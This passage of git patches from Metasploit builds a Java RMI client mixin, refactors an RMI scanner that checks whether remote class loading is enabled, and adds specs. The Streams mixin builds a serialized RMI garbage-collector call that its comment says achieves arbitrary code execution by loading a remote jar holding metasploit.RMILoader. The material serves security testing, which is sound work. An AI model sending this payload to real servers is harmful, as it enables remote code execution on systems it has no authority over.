Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream end + end From 7dd7e62726a9a1bf825237468fb7cad794b05369 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 7 Jan 2015 20:42:44 -0600 Subject: [PATCH 012/103] Add first mixin draft --- lib/msf/rmi/client.rb | 93 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 lib/msf/rmi/client.rb diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb new file mode 100644 index 0000000000..572e26dc13 --- /dev/null +++ b/lib/msf/rmi/client.rb @@ -0,0 +1,93 @@ +# -*- coding: binary -*- +require 'rex/proto/rmi' +require 'rex/java/serialization' +require 'stringio' + +module Msf + module Rmi + module Client + + include Exploit::Remote::Tcp + + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end + + # Returns the target port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end + + # Returns the RMI server peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end + + # Sends a RMI Header stream and reads the Protocol Ack + # + # @param opts [Hash] + # @return [Rex::Proto::Rmi::Model::ProtocolAck] + # @raise [RuntimeError] + def send_header(opts = {}) + nsock = opts[:sock] || sock + stream = build_header(opts) + nsock.put(stream.encode) + res = nsock.get_once + res_io = StringIO.new(res) + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(res_io) + + ack + end + + # Sends a RMI CALL stream and reads the ReturnData + # + # @param opts [Hash] + # @return [Rex::Java::Serialization::Model::Stream] + # @raise [RuntimeError] + def send_call(opts = {}) + nsock = opts[:sock] || sock + stream = build_call(opts) + nsock.put(stream.encode) + res = nsock.get_once + res_io = StringIO.new(res) + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(res_io) + + return_data.return_value + end + + + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) + + header + end + + + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new + + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) + + call + end + end + end +end From 73e3cd19c384dbc1f67b3991b2dbaa63269f28bb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 00:29:50 -0600 Subject: [PATCH 013/103] Convert java_rmi_server aux mod to use new mixin --- lib/msf/rmi/client.rb | 14 +++----- .../auxiliary/scanner/misc/java_rmi_server.rb | 34 ++++++++++++++----- 2 files changed, 30 insertions(+), 18 deletions(-) diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb index 572e26dc13..f61dd914d1 100644 --- a/lib/msf/rmi/client.rb +++ b/lib/msf/rmi/client.rb @@ -38,10 +38,8 @@ module Msf def send_header(opts = {}) nsock = opts[:sock] || sock stream = build_header(opts) - nsock.put(stream.encode) - res = nsock.get_once - res_io = StringIO.new(res) - ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(res_io) + nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(nsock) ack end @@ -49,15 +47,13 @@ module Msf # Sends a RMI CALL stream and reads the ReturnData # # @param opts [Hash] - # @return [Rex::Java::Serialization::Model::Stream] - # @raise [RuntimeError] + # @return [Rex::Java::Serialization::Model::Stream] the call return value + # @raise [RuntimeError] when the response can't be decoded def send_call(opts = {}) nsock = opts[:sock] || sock stream = build_call(opts) nsock.put(stream.encode) - res = nsock.get_once - res_io = StringIO.new(res) - return_data = Rex::Proto::Rmi::Model::ReturnData.decode(res_io) + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(nsock) return_data.return_value end diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 7682263478..3765ebfbe5 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -8,7 +8,6 @@ require 'rex/java/serialization' class Metasploit3 < Msf::Auxiliary - #include Msf::Exploit::Remote::Tcp include Msf::Rmi::Client include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -51,17 +50,14 @@ class Metasploit3 < Msf::Auxiliary begin return_data = send_call(call_data: build_gc_call) rescue ::RuntimeError - print_error("#{peer} - Failed to send RMI Call") + print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") disconnect return end disconnect - return - if buf =~ /RMI class loader disabled/ - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") - elsif buf.length > 0 + if loader_enabled?(return_data) print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") report_vuln( @@ -72,9 +68,29 @@ class Metasploit3 < Msf::Auxiliary :refs => self.references ) else - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") + print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") end + + end + + def loader_enabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' + + if content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + content.class_data[1].contents.include?('RMI class loader disabled') + return false + else + return true + end + + end + end + + false end def build_gc_call From bf482e806cbfd0dddeab269bf60feb02ae658558 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 09:56:32 -0600 Subject: [PATCH 014/103] Add YARD documentation for the YARD mixin --- lib/msf/rmi/client.rb | 23 ++++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb index f61dd914d1..99a27198b3 100644 --- a/lib/msf/rmi/client.rb +++ b/lib/msf/rmi/client.rb @@ -30,11 +30,14 @@ module Msf "#{rhost}:#{rport}" end - # Sends a RMI Header stream and reads the Protocol Ack + # Sends a RMI header stream and reads the Protocol Ack # # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock # @return [Rex::Proto::Rmi::Model::ProtocolAck] # @raise [RuntimeError] + # @see #build_header + # @see Rex::Proto::Rmi::Model::ProtocolAck.decode def send_header(opts = {}) nsock = opts[:sock] || sock stream = build_header(opts) @@ -47,8 +50,11 @@ module Msf # Sends a RMI CALL stream and reads the ReturnData # # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock # @return [Rex::Java::Serialization::Model::Stream] the call return value # @raise [RuntimeError] when the response can't be decoded + # @see #build_call + # @see Rex::Proto::Rmi::Model::ReturnData.decode def send_call(opts = {}) nsock = opts[:sock] || sock stream = build_call(opts) @@ -58,7 +64,13 @@ module Msf return_data.return_value end - + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] def build_header(opts = {}) signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE version = opts[:version] || 2 @@ -72,7 +84,12 @@ module Msf header end - + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :message_id + # @option opts [Rex::Java::Serialization::Model::Stream] :call_data + # @return [Rex::Proto::Rmi::Model::Call] def build_call(opts = {}) message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new From 9a42d42318951e6d05bacff2bbfeadf69c935852 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 11:57:38 -0600 Subject: [PATCH 015/103] Add specs for Msf::Rmi::Client --- spec/lib/msf/rmi/client_spec.rb | 154 ++++++++++++++++++++++++++++++++ 1 file changed, 154 insertions(+) create mode 100644 spec/lib/msf/rmi/client_spec.rb diff --git a/spec/lib/msf/rmi/client_spec.rb b/spec/lib/msf/rmi/client_spec.rb new file mode 100644 index 0000000000..cd07ad8682 --- /dev/null +++ b/spec/lib/msf/rmi/client_spec.rb @@ -0,0 +1,154 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/rmi/client' + +class MyStringIO < StringIO + + DEFAULT_HEADER = "JRMI\x00\x02\x4b\x00\x00\x00\x00\x00\x00" + MULTIPLEX_HEADER = "JRMI\x00\x02\x4d\x00\x00\x00\x00\x00\x00" + PROTOCOL_ACK = "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" + PROTOCOL_NOT_SUPPORTED = "\x4f" + DEFAULT_CALL = "\x50\xac\xed\x00\x05" + RETURN_DATA = + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + + def put(data) + case data + when DEFAULT_HEADER + seek(0) + write(PROTOCOL_ACK) + seek(0) + when MULTIPLEX_HEADER + seek(0) + write(PROTOCOL_NOT_SUPPORTED) + seek(0) + when DEFAULT_CALL + seek(0) + write(RETURN_DATA) + seek(0) + else + write(data) + end + end + + def get_once(length, timeout = 10) + read(length) + end +end + +describe Msf::Rmi::Client do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_header) { "JRMI\x00\x02\x4b" } + let(:header_opts) do + { + :version => 1, + :protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL + } + end + let(:opts_header) { "JRMI\x00\x01\x4d" } + + let(:default_call) { "\x50\xac\xed\x00\x05" } + let(:call_opts) do + { + :message_id => Rex::Proto::Rmi::Model::PING_MESSAGE + } + end + let(:opts_call) { "\x52\xac\xed\x00\x05" } + + let(:io) { MyStringIO.new('', 'w+b') } + + describe "#build_header" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a default OutputHeader" do + expect(mod.build_header.encode).to eq(default_header) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header(header_opts)).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a OutputHeader with data from opts" do + expect(mod.build_header(header_opts).encode).to eq(opts_header) + end + end + end + + describe "#build_call" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a default Call" do + expect(mod.build_call.encode).to eq(default_call) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call(call_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a OutputHeader with data from opts" do + expect(mod.build_call(call_opts).encode).to eq(opts_call) + end + end + end + + describe "#send_header" do + context "when end point returns protocol ack" do + it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do + expect(mod.send_header(sock: io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) + end + end + + context "when end point returns protocol not supported" do + it "raises RuntimeError" do + expect do + mod.send_header(sock: io, protocol: Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL) + end.to raise_error(::RuntimeError) + end + end + end + + describe "#send_call" do + context "when end point returns a value to the call" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.send_call(sock: io)).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + end +end + From c205ef28d462181682ad867f55f33963e96b4614 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 14:01:04 -0600 Subject: [PATCH 016/103] Refactor build_gc_call --- lib/msf/rmi/client.rb | 3 + .../auxiliary/scanner/misc/java_rmi_server.rb | 70 +------------------ 2 files changed, 6 insertions(+), 67 deletions(-) diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb index 99a27198b3..f8a8eef4e4 100644 --- a/lib/msf/rmi/client.rb +++ b/lib/msf/rmi/client.rb @@ -7,6 +7,9 @@ module Msf module Rmi module Client + require 'msf/rmi/client/streams' + + include Msf::Rmi::Client::Streams include Exploit::Remote::Tcp # Returns the target host diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 3765ebfbe5..e100542dff 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -47,8 +47,10 @@ class Metasploit3 < Msf::Auxiliary # Determine if the instance allows remote class loading vprint_status("#{peer} - Sending RMI Call...") + jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' + jar_url = "file:RMIClassLoaderSecurityTest/" + jar begin - return_data = send_call(call_data: build_gc_call) + return_data = send_call(call_data: build_gc_call(jar_url)) rescue ::RuntimeError print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") @@ -93,70 +95,4 @@ class Metasploit3 < Msf::Auxiliary false end - def build_gc_call - jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' - jar_url = "file:RMIClassLoaderSecurityTest/" + jar - - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" - block_data.length = block_data.contents.length - - stream.contents << block_data - - new_array_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - - new_array_super = Rex::Java::Serialization::Model::ClassDesc.new - new_array_super.description = Rex::Java::Serialization::Model::NullReference.new - - new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') - new_array_desc.serial_version = 0x871300b8d02c647e - new_array_desc.flags = 2 - new_array_desc.fields = [] - new_array_desc.class_annotation = new_array_annotation - new_array_desc.super_class = new_array_super - - array_desc = Rex::Java::Serialization::Model::ClassDesc.new - array_desc.description = new_array_desc - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.type = 'java.rmi.server.ObjID;' - new_array.values = [] - new_array.array_description = array_desc - - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") - - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') - new_class_desc.serial_version = 0xa16544ba26f9c2f4 - new_class_desc.flags = 2 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::Utf.new(nil, jar_url), - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - - stream.contents << new_object - - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") - - stream - end - - end From 23d0ae948894f3e16329a0d7d96e51cd54e529d9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 14:01:41 -0600 Subject: [PATCH 017/103] Add Streams mixin --- lib/msf/rmi/client/streams.rb | 74 +++++++++++++++++++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 lib/msf/rmi/client/streams.rb diff --git a/lib/msf/rmi/client/streams.rb b/lib/msf/rmi/client/streams.rb new file mode 100644 index 0000000000..9518dd4d76 --- /dev/null +++ b/lib/msf/rmi/client/streams.rb @@ -0,0 +1,74 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Rmi + module Client + module Streams + + def build_gc_call(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream + end + end + end + end +end From e9e6c3276976c9598a480d9f7f992c5de6f43d5f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 14:13:06 -0600 Subject: [PATCH 018/103] Move build* calls to Streams --- lib/msf/rmi/client.rb | 38 ---------------------------- lib/msf/rmi/client/streams.rb | 47 ++++++++++++++++++++++++++++++++++- 2 files changed, 46 insertions(+), 39 deletions(-) diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb index f8a8eef4e4..27ff7d85ad 100644 --- a/lib/msf/rmi/client.rb +++ b/lib/msf/rmi/client.rb @@ -66,44 +66,6 @@ module Msf return_data.return_value end - - # Builds a RMI header stream - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :signature - # @option opts [Fixnum] :version - # @option opts [Fixnum] :protocol - # @return [Rex::Proto::Rmi::Model::OutputHeader] - def build_header(opts = {}) - signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE - version = opts[:version] || 2 - protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL - - header = Rex::Proto::Rmi::Model::OutputHeader.new( - signature: signature, - version: version, - protocol: protocol) - - header - end - - # Builds a RMI call stream - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :message_id - # @option opts [Rex::Java::Serialization::Model::Stream] :call_data - # @return [Rex::Proto::Rmi::Model::Call] - def build_call(opts = {}) - message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE - call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new - - call = Rex::Proto::Rmi::Model::Call.new( - message_id: message_id, - call_data: call_data - ) - - call - end end end end diff --git a/lib/msf/rmi/client/streams.rb b/lib/msf/rmi/client/streams.rb index 9518dd4d76..a5a45ddd23 100644 --- a/lib/msf/rmi/client/streams.rb +++ b/lib/msf/rmi/client/streams.rb @@ -7,7 +7,52 @@ module Msf module Client module Streams - def build_gc_call(jar_url) + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) + + header + end + + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :message_id + # @option opts [Rex::Java::Serialization::Model::Stream] :call_data + # @return [Rex::Proto::Rmi::Model::Call] + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new + + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) + + call + end + + # Builds a call data (serializated) stream) as used by Michael Schierl (@mihi42) + # to achieve arbitrary code execution through the RMI garbage collector loading + # arbitrary classes + # + # @param jar_url [String] the (URL) location pointing to the jar containing the + # metasploit.RMILoader. + # @return [Rex::Java::Serialization::Model::Stream] + def build_gc_call_data(jar_url) stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new From 549e42279ca56a98625bece2f6af2fb68cb13052 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 14:17:57 -0600 Subject: [PATCH 019/103] Create specs for Streams --- spec/lib/msf/rmi/client/streams_spec.rb | 77 +++++++++++++++++++++++++ spec/lib/msf/rmi/client_spec.rb | 61 -------------------- 2 files changed, 77 insertions(+), 61 deletions(-) create mode 100644 spec/lib/msf/rmi/client/streams_spec.rb diff --git a/spec/lib/msf/rmi/client/streams_spec.rb b/spec/lib/msf/rmi/client/streams_spec.rb new file mode 100644 index 0000000000..be50282a73 --- /dev/null +++ b/spec/lib/msf/rmi/client/streams_spec.rb @@ -0,0 +1,77 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/rmi/client' + +describe Msf::Rmi::Client::Streams do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_header) { "JRMI\x00\x02\x4b" } + let(:header_opts) do + { + :version => 1, + :protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL + } + end + let(:opts_header) { "JRMI\x00\x01\x4d" } + + let(:default_call) { "\x50\xac\xed\x00\x05" } + let(:call_opts) do + { + :message_id => Rex::Proto::Rmi::Model::PING_MESSAGE + } + end + let(:opts_call) { "\x52\xac\xed\x00\x05" } + + describe "#build_header" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a default OutputHeader" do + expect(mod.build_header.encode).to eq(default_header) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header(header_opts)).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a OutputHeader with data from opts" do + expect(mod.build_header(header_opts).encode).to eq(opts_header) + end + end + end + + describe "#build_call" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a default Call" do + expect(mod.build_call.encode).to eq(default_call) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call(call_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a OutputHeader with data from opts" do + expect(mod.build_call(call_opts).encode).to eq(opts_call) + end + end + end +end + diff --git a/spec/lib/msf/rmi/client_spec.rb b/spec/lib/msf/rmi/client_spec.rb index cd07ad8682..f1fcdc522f 100644 --- a/spec/lib/msf/rmi/client_spec.rb +++ b/spec/lib/msf/rmi/client_spec.rb @@ -64,69 +64,8 @@ describe Msf::Rmi::Client do mod end - let(:default_header) { "JRMI\x00\x02\x4b" } - let(:header_opts) do - { - :version => 1, - :protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL - } - end - let(:opts_header) { "JRMI\x00\x01\x4d" } - - let(:default_call) { "\x50\xac\xed\x00\x05" } - let(:call_opts) do - { - :message_id => Rex::Proto::Rmi::Model::PING_MESSAGE - } - end - let(:opts_call) { "\x52\xac\xed\x00\x05" } - let(:io) { MyStringIO.new('', 'w+b') } - describe "#build_header" do - context "when no opts" do - it "creates a Rex::Proto::Rmi::Model::OutputHeader" do - expect(mod.build_header).to be_a(Rex::Proto::Rmi::Model::OutputHeader) - end - - it "creates a default OutputHeader" do - expect(mod.build_header.encode).to eq(default_header) - end - end - - context "when opts" do - it "creates a Rex::Proto::Rmi::Model::OutputHeader" do - expect(mod.build_header(header_opts)).to be_a(Rex::Proto::Rmi::Model::OutputHeader) - end - - it "creates a OutputHeader with data from opts" do - expect(mod.build_header(header_opts).encode).to eq(opts_header) - end - end - end - - describe "#build_call" do - context "when no opts" do - it "creates a Rex::Proto::Rmi::Model::Call" do - expect(mod.build_call).to be_a(Rex::Proto::Rmi::Model::Call) - end - - it "creates a default Call" do - expect(mod.build_call.encode).to eq(default_call) - end - end - - context "when opts" do - it "creates a Rex::Proto::Rmi::Model::Call" do - expect(mod.build_call(call_opts)).to be_a(Rex::Proto::Rmi::Model::Call) - end - - it "creates a OutputHeader with data from opts" do - expect(mod.build_call(call_opts).encode).to eq(opts_call) - end - end - end - describe "#send_header" do context "when end point returns protocol ack" do it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do From db4d24cb2c2bb21746cf14c931ab6d482642aa24 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 14:24:07 -0600 Subject: [PATCH 020/103] Add spec for build_gc_call_data --- spec/lib/msf/rmi/client/streams_spec.rb | 29 +++++++++++++++++++++++-- 1 file changed, 27 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/rmi/client/streams_spec.rb b/spec/lib/msf/rmi/client/streams_spec.rb index be50282a73..9e03e721e6 100644 --- a/spec/lib/msf/rmi/client/streams_spec.rb +++ 